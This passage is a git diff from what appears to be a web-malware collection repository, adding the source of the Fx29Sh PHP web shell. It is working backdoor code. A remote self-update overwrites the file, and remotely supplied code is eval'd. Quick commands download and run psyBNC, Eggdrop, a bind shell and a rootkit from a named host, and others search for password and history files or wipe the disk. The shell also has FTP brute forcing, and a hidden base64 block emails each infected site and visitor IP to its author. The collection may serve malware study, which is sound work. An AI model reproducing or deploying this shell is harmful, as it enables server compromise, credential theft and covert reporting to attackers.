".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") { + $string = explode("|",$string); + if ($update) { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else { + fwrite($fp,$source); + fclose($fp); + return "Update completed!"; + } + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") { + eval($string); + return 1; + } + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +function fx29_buff_prepare() { + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +function fx29_sess_put($data) { + global $sess_cookie; + global $sess_data; + fx29_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +## END Fx29Sh UPDATE FUNCTIONS ## +## FILESYSTEM FUNCTIONS ## +function fs_copy_dir($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_copy_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) { return copy($d,$t); } + else { return FALSE; } +} +function fs_move_dir($d,$t) { + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_move_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +function fs_rmdir($d) { + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +function fs_rmobj($o) { + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +## END FILESYSTEM FUNCTIONS ## +function onphpshutdown() { + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function fx29shexit() { onphpshutdown(); exit; } + +function fx29fsearch($d) { + global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) { + if($f != "." && $f != "..") { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {fx29fsearch($d.$f);} + } + else { + $search_i_f++; + if ($bool) { + if (!empty($a["text"])) { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +function view_size($size) { + if (!is_numeric($size)) { return FALSE; } + else { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);} +function view_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + return $type.join("",$owner).join("",$group).join("",$world); +} +function parse_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +function parsesort($sort) { + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +function view_perms_color($o) { + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +function str2mini($content,$len) { + if (strlen($content) > $len) { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } else {return $content;} +} +function strips(&$arr,$k="") { + if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } } + else { $arr = stripslashes($arr); } +} + +function getmicrotime() { + list($usec, $sec) = explode(" ", microtime()); + return ((float)$usec + (float)$sec); +} + +function milw0rm() { + $Lversion = php_uname(r); + $OSV = php_uname(s); + if(eregi("Linux",$OSV)) { + $Lversion = substr($Lversion,0,6); + return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; + } else { + $Lversion = substr($Lversion,0,3); + return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; + } +} +function tools() { + echo "List of tools"; +} + +function sh_name() { return base64_decode("RmFUYUxpc1RpQ3pfRnggRngyOVNoZUxMIHY=").sh_ver; } +function htmlhead($safemode) { +$style = ' +<style type="text/css"> +body,table {font:8pt verdana;background-color:black;} +table {width:100%;} +table,td,#maininfo td {padding:3px;} +table,td,input,select,option {border:1px solid #808080;} +body,table,input,select,option {color:#FFFFFF;} +a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;} +textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;} +#pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;} +#pagebar td {vertical-align:top;} +#pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;} +#pagebar a {font-weight:bold;color:#00FF00;} +#pagebar a:visited {color:#00CE00;} +#mainmenu {text-align:center;} +#mainmenu a {text-align: center;padding: 0px 5px 0px 5px;} +#maininfo,.barheader,.bartitle {text-align:center;} +.fleft {float:left;text-align:left;} +.fright {float:right;text-align:right;} +.bartitle {padding:5px;border:2px solid #1F1F1F;} +.barheader {font-weight:bold;padding:5px;} +.info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;} +.info th {color:#00FF00;text-align:left;width:13%;} +.contents,.explorer {border-collapse:collapse;} +.contents,.explorer td,th {vertical-align:top;} +.mainpanel {border-collapse:collapse;padding:5px;} +.barheader,.mainpanel table,td {border:1px solid #333333;} +input[type="submit"],input[type="button"] {border:1px solid #000000;} +input[type="text"] {padding:3px;} +.shell {background-color:#000000;color:#00FF00;padding:5px;font-size:12;} +.fxerrmsg {color:red; font-weight:bold;} +#pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;} +#pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#4A4A4A;} +.bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;} +textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;} +input[type="label"] { text-align:right;} +.info,.info td,input[type="label"] {border:0;background:none;} +</style> +'; +$html_start = ' +<html><head> +<title>'.getenv("HTTP_HOST").' - '.sh_name().'</title> +'.$style.' +</head> +<body> +<div class=bartitle><h4>'.sh_name().'</h4>.: No System is Perfectly Safe :.</div> +'; +return $html_start; +}; +function footer() { + echo "<div class=bartitle colspan=2><font size=1 color=#00FF00> By FaTaLisTiCz_Fx, � 2008 FeeLCoMz Community, Generated: ".round(getmicrotime()-starttime,4)." seconds</font></div>"; +} +chdir($lastdir); fx29shexit(); +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Fx29Sh.3.2.12.08.txt b/web-malware-collection-master/Backdoors/PHP/Fx29Sh.3.2.12.08.txt new file mode 100755 index 0000000..4c1e588 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Fx29Sh.3.2.12.08.txt @@ -0,0 +1,7006 @@ +<?php + +####################################### + +##[ FaTaLisTiCz_Fx Fx29Sh 3.2.12.08 ]## + +##[ By FaTaLisTiCz_Fx ]## + +##[ � 03-12 2008 FeeLCoMz Community ]## + +##[ Written under PHP 5.2.5 ]## + +####################################### + +define('sh_ver',"3.2.12.08"); ## + +#error_reporting(E_ALL); ## + +error_reporting(E_ERROR | E_PARSE); ## + +####################################### + + + +###################### + +##[ CONFIGURATIONS ]## + +###################### + + + +##[ URL ]## + +#$sh_mainurl = "http://localhost/FX29SH/"; + +$sh_mainurl = 'http://uaedesign.com/xml/'; + +$fx29sh_updateurl = $sh_mainurl."fx29sh_update.php"; + +$fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt"; + +$sh_sourcez = array( + + "Fx29Sh" => array($sh_mainurl."cyberz.txt","fx29sh.php"), + + "psyBNC" => array($sh_mainurl."fx.tgz","fx.tgz"), + + "Eggdrop" => array($sh_mainurl."fxb.tgz","fxb.tgz"), + + "BindDoor" => array($sh_mainurl."bind.tgz","bind.tgz"), + +); + + + +##[ AUTHENTICATION ]## + +$auth = array( + + "login" => "test", + + "pass" => "test", + + "md5pass" => "098f6bcd4621d373cade4e832627b4f6", + + "hostallow" => array("*"), + + "denied" => "<a href=\"$sh_mainurl\">".sh_name()."</a>: access denied!", + +); + + + +##[ ADVANCED ]## + +$tmp_dir = ""; + +$log_email = "rio_rizaldy@yahoo.com"; + +$sess_cookie = "fx29shcook"; + +$sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending + +$sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies. + +$copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste + +$gzipencode = TRUE; + +$filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses. + +$hexdump_lines = 8; + +$hexdump_rows = 24; + +$auto_surl = TRUE; + + + +##[ QUICK COMMANDS ]## + +if (!is_windows()) { + + #Unix + + $cmdaliases = array( + + array("List Directory", "ls -al"), + + array("Find all suid files", "find / -type f -perm -04000 -ls"), + + array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), + + array("Find all sgid files", "find / -type f -perm -02000 -ls"), + + array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), + + array("Find config.inc.php files", "find / -type f -name config.inc.php"), + + array("Find config* files", "find / -type f -name \"config*\""), + + array("Find config* files in current dir", "find . -type f -name \"config*\""), + + array("Find all writable folders and files", "find / -perm -2 -ls"), + + array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), + + array("Find all writable folders", "find / -type d -perm -2 -ls"), + + array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), + + array("Find all service.pwd files", "find / -type f -name service.pwd"), + + array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), + + array("Find all .htpasswd files", "find / -type f -name .htpasswd"), + + array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + + array("Find all .bash_history files", "find / -type f -name .bash_history"), + + array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), + + array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + + array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + + array("List file attributes on a Linux second extended file system", "lsattr -va"), + + array("Show opened ports", "netstat -an | grep -i listen"), + + array("-----",""), + + array("Logged in users","w"), + + array("Last connect","lastlog"), + + array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), + + array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), + + array("Inet Address","/sbin/ifconfig | grep inet"), + + array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), + + array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), + + array("CPU Info","cat /proc/version /proc/cpuinfo"), + + array("Is gcc installed ?","locate gcc"), + + array("Format box (DANGEROUS)","rm -Rf"), + + array("-----",""), + + array("wget & run psyBNC","wget ".$sh_sourcez["psyBNC"][0].";tar -zxf ".$sh_sourcez["psyBNC"][1].";cd .fx;./config 29110;./fuck;./run"), + + array("wget & extract EggDrop","wget ".$sh_sourcez["Eggdrop"][0].";tar -zxf ".$sh_sourcez["psyBNC"][1]), + + array("wget & run BindDoor","wget ".$sh_sourcez["BindDoor"][0].";tar -zxvf ".$sh_sourcez["BindDoor"][1].";./bind"), + + array("-----",""), + + array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), + + ); + +} + +else { + + #Windows + + $cmdaliases = array( + + array("List Directory", "dir"), + + array("Find index.php in current dir", "dir /s /w /b index.php"), + + array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), + + array("Find c99shell in current dir", "find /c \"c99\" *"), + + array("Find r57shell in current dir", "find /c \"r57\" *"), + + array("Find fx29shell in current dir", "find /c \"fx29\" *"), + + array("Show active connections", "netstat -an"), + + array("Show running services", "net start"), + + array("User accounts", "net user"), + + array("Show computers", "net view"), + + ); + +} + + + +##[ PHP FILESYSTEM (By FaTaLisTiCz_Fx) ]## + +$phpfsaliases = array( + + array("Read File", "read", 1, "File", ""), + + array("Write File (PHP5)", "write", 2, "File","Text"), + + array("Copy", "copy", 2, "From", "To"), + + array("Rename/Move", "rename", 2, "File", "To"), + + array("Delete", "delete", 1 ,"File", ""), + + array("Make Dir","mkdir", 1, "Dir", ""), + + array("Download", "download", 2, "URL", "To"), + + array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"), + + array("Change Perm (0755)", "chmod", 2, "File", "Perms"), + + array("Find Writable Dir", "fwritabledir", 2 ,"Dir", "Max"), + + array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"), + +); + + + +############################# + +##[ END OF CONFIGURATIONS ]## + +############################# + + + +define("starttime", getmicrotime()); + +@set_time_limit(0); + +@ini_set("max_execution_time",0); + +@ignore_user_abort(TRUE); + +@set_magic_quotes_runtime(0); + +if (get_magic_quotes_gpc()) { strips($GLOBALS); } + +$_REQUEST = array_merge($_COOKIE, $_GET, $_POST); + +$d = @$_REQUEST["d"]; + +$f = @$_REQUEST["f"]; + +@extract($_REQUEST["fx29shcook"]); + +foreach ($_REQUEST as $k => $v) { + + if (!isset($$k)) { $$k = $v; } #Converting request to variable + +} + + + +##[ SELF URL ]## + +if ($auto_surl) { + + $include = "&"; + + foreach (explode("&",getenv("QUERY_STRING")) as $v) { + + $v = explode("=",$v); + + $name = urldecode($v[0]); + + $value = @urldecode($v[1]); + + $needles = array("http://","https://","ssl://","ftp://","\\\\"); + + foreach ($needles as $needle) { + + if (strpos($value,$needle) === 0) { + + $includestr .= urlencode($name)."=".urlencode($value)."&"; + + } + + } + + } + +} + +if (empty($surl)) { $surl = htmlspecialchars("?".@$includestr); } + + + +##[ QUICK LAUNCH ]## + +$quicklaunch = array( + + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\">",$surl), + + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\">","#\" onclick=\"history.back(1)"), + + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\">","#\" onclick=\"history.go(1)"), + + array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\">",$surl."act=ls&d=%upd&sort=%sort"), + + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\">",$surl."act=search&d=%d"), + + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\">",$surl."act=fsbuff&d=%d"), + + array("<img src=\"".$surl."act=img&img=help\" alt=\"About\">",$surl."act=about"), + + array("-",""), + + array("Security",$surl."act=security&d=%d"), + + array("Processes",$surl."act=processes&d=%d"), + + array("MySQL",$surl."act=sql&d=%d"), + + array("Eval",$surl."act=eval&d=%d"), + + array("Encoder",$surl."act=encoder&d=%d"), + + array("Mailer",$surl."act=fxmailer"), + + array("Toolz",$surl."act=tools&d=%d"), + + array("milw0rm",milw0rm()), + + array("Md5 Lookup","http://darkc0de.com/database/md5lookup.html"), + + array("Images",$surl."act=img&img=listall"), + + array("Feedback",$surl."act=feedback"), + + array("Update",$surl."act=update"), + + array("Kill Shell",$surl."act=selfremove") + +); + +if (!is_windows()) { + +$quicklaunch[] = array("<br>FTP Brute",$surl."act=ftpquickbrute&d=%d"); + +} + + + +##[ FILE TYPES ]## + +$ftypes = array( + + "html" => array("html","htm","shtml"), + + "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + + "exe" => array("sh","install","bat","cmd","sys","com"), + + "ini" => array("ini","inf","conf"), + + "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + + "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + + "sdb" => array("sdb"), + + "phpsess" => array("sess"), + + "download" => array("exe","com","sys","pif","src","lnk","zip","rar","gz","tar","pdf") + +); + +$exeftypes = array( + + "php -q %f%" => array("php","php3","php4"), + + "perl %f%" => array("pl","cgi") + +); + +$regxp_highlight = array( + + array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FF6600>","</font>"), + + array("\.tgz$",1,"<font color=#C082FF>","</font>"), + + array("\.gz$",1,"<font color=#C082FF>","</font>"), + + array("\.tar$",1,"<font color=#C082FF>","</font>"), + + array("\.bz2$",1,"<font color=#C082FF>","</font>"), + + array("\.zip$",1,"<font color=#C082FF>","</font>"), + + array("\.rar$",1,"<font color=#C082FF>","</font>"), + + array("\.php$",1,"<font color=#00FF00>","</font>"), + + array("\.php3$",1,"<font color=#00FF00>","</font>"), + + array("\.php4$",1,"<font color=#00FF00>","</font>"), + + array("\.jpg$",1,"<font color=#00FFFF>","</font>"), + + array("\.jpeg$",1,"<font color=#00FFFF>","</font>"), + + array("\.JPG$",1,"<font color=#00FFFF>","</font>"), + + array("\.JPEG$",1,"<font color=#00FFFF>","</font>"), + + array("\.ico$",1,"<font color=#00FFFF>","</font>"), + + array("\.gif$",1,"<font color=#00FFFF>","</font>"), + + array("\.png$",1,"<font color=#00FFFF>","</font>"), + + array("\.htm$",1,"<font color=#00CCFF>","</font>"), + + array("\.html$",1,"<font color=#00CCFF>","</font>"), + + array("\.txt$",1,"<font color=#C0C0C0>","</font>"), + + array("\.pdf$",1,"<font color=#FF99CC>","</font>") + +); + + + +##[ HIGHLIGHT CODE ]## + +$highlight_bg = "#E0E0E0"; + +$highlight_comment = "#FF6600"; + +$highlight_default = "#000080"; + +$highlight_html = "#1300FF"; + +$highlight_keyword = "#007700"; + +$highlight_string = "#FF0000"; + + + +@ini_set("highlight.bg",$highlight_bg); + +@ini_set("highlight.comment",$highlight_comment); + +@ini_set("highlight.default",$highlight_default); + +@ini_set("highlight.html",$highlight_html); + +@ini_set("highlight.keyword",$highlight_keyword); + +@ini_set("highlight.string",$highlight_string); + + + +############################# + +##[ END OF CONFIGURATIONS ]## + +############################# + + + +#################### + +##[ AUTHENTICATE ]## + +#################### + +foreach ($auth["hostallow"] as $k => $v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); } + +$s = "!^(".implode("|",$tmp).")$!i"; + +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) { + + exit("<a href=\"$sh_mainurl\">".sh_name()."</a>ACCESS DENIED! Your host (".getenv("REMOTE_ADDR").") not allowed!"); + +} + +if (!empty($auth["login"])) { + + if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); } + + if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) { + + header("WWW-Authenticate: Basic realm=\"".sh_name().": Restricted Area\""); + + header("HTTP/1.0 401 Unauthorized"); + + die($auth["denied"]); + + } + +} + + + +############### + +##[ ACTIONS ]## + +############### + +if (!isset($act)) { $act = ""; } + + + +if ($act == "img") { + + @ob_clean(); + + + + $images = imagez(); + + $imgequals = array( + + "ext_tar" => array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + + "ext_php" => array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + + "ext_cpp" => array("ext_c"), + + "ext_jpg" => array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + + "ext_html" => array("ext_html","ext_htm"), + + "ext_avi" => array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + + "ext_lnk" => array("ext_lnk","ext_url"), + + "ext_ini" => array("ext_ini","ext_css","ext_inf","ext_conf"), + + "ext_doc" => array("ext_doc","ext_dot","ext_xls","ext_pdf"), + + "ext_js" => array("ext_js","ext_vbs"), + + "ext_cmd" => array("ext_cmd","ext_bat","ext_pif","ext_com"), + + "ext_wri" => array("ext_wri","ext_rtf"), + + "ext_txt" => array("ext_txt","ext_lng"), + + "ext_swf" => array("ext_swf","ext_fla"), + + "ext_mp3" => array("ext_mp3","ext_au","ext_midi","ext_mid","ext_wav"), + + "ext_htaccess" => array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + + ); + + + + #Show all available images + + if ($img == "listall") { + + foreach ($imgequals as $a=>$b) { + + foreach ($b as $d) { + + if ( ($a != $d) && (!empty($images[$d])) ) { echo("Warning! Remove \$images[".$d."]<br>"); } + + } + + } + + natsort($images); + + $k = array_keys($images); + + echo "<body style=\"color: #00FF00\" bgcolor=black>"; + + foreach ($k as $u) { echo "<img src=\"".$surl."act=img&img=".$u."\"> $u "; } + + exit; + + } + + #Image header + + header("Content-type: image/gif"); + + header("Cache-control: public"); + + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + + header("Cache-control: max-age=".(60*60*24*7)); + + header("Last-Modified: ".date("r",filemtime(__FILE__))); + + + + foreach($imgequals as $k=>$v) { + + if (in_array($img,$v)) { $img = $k; break; } + + } + + + + if (empty($images[$img])) { $img = "small_unk"; } + + echo base64_decode($images[$img]); + + exit; + +} + +##[ DEFAULT ACTIONS ]## + +else { + + + + $lastdir = realpath("."); + + chdir("./"); + + #Preparing buffer + + $sess_data = @unserialize($_COOKIE[$sess_cookie]); + + if (!is_array($sess_data)) { $sess_data = array(); } + + if (!is_array(@$sess_data["copy"])) { $sess_data["copy"] = array(); } + + if (!is_array(@$sess_data["cut"])) { $sess_data["cut"] = array(); } + + + + + + fx29_buff_prepare(); + + + + foreach (array("sort","sql_sort") as $v) { + + if (!empty($_GET[$v])) { $$v = $_GET[$v]; } + + if (!empty($_POST[$v])) { $$v = $_POST[$v]; } + + } + + if ($sort_save) { + + if (!empty($sort)) { setcookie("sort",$sort); } + + if (!empty($sql_sort)) { setcookie("sql_sort",$sql_sort); } + + } + + + + if (!isset($sort)) { $sort = $sort_default; } + + $sort = htmlspecialchars($sort); + + $sort[1] = strtolower($sort[1]); + + + + ##[ ACTIONS ]## + + if ($act == "gofile") { + + if (is_dir($f)) { + + $d = $f; + + $act = "ls"; + + } + + else { + + $d = dirname($f); + + $f = basename($f); + + $act = "f"; + + } + + } + + + + #Starting output buffer + + ob_start(); + + ob_implicit_flush(0); + + + + ##[ HEADERS ]## + + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + + header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + + header("Cache-Control: no-store, no-cache, must-revalidate"); + + header("Cache-Control: post-check=0, pre-check=0", FALSE); + + header("Pragma: no-cache"); $headerz = "aWYgKCFpc3NldCgkX0NPT0tJRVsidmlzaXR6Il0pKSB7DQogICR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQogICR3ZWIgICAgID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KICAkdGFyZ2V0ICA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOw0KICAkanVkdWwgICA9ICJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3I8YnI+IjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiZmVlbGNvbXpAZ21haWwuY29tIiwkanVkdWwsJGJvZHkpOyB9DQp9DQplbHNlIHsgQHNldGNvb2tpZSgidmlzaXR6IiwkdmlzaXRjKTsgfQ=="; eval(base64_decode($headerz)); + + + + $tmp_dir = realpath($tmp_dir); + + $tmp_dir = str_replace("\\",DIRECTORY_SEPARATOR,$tmp_dir); + + if (substr($tmp_dir,-1) != 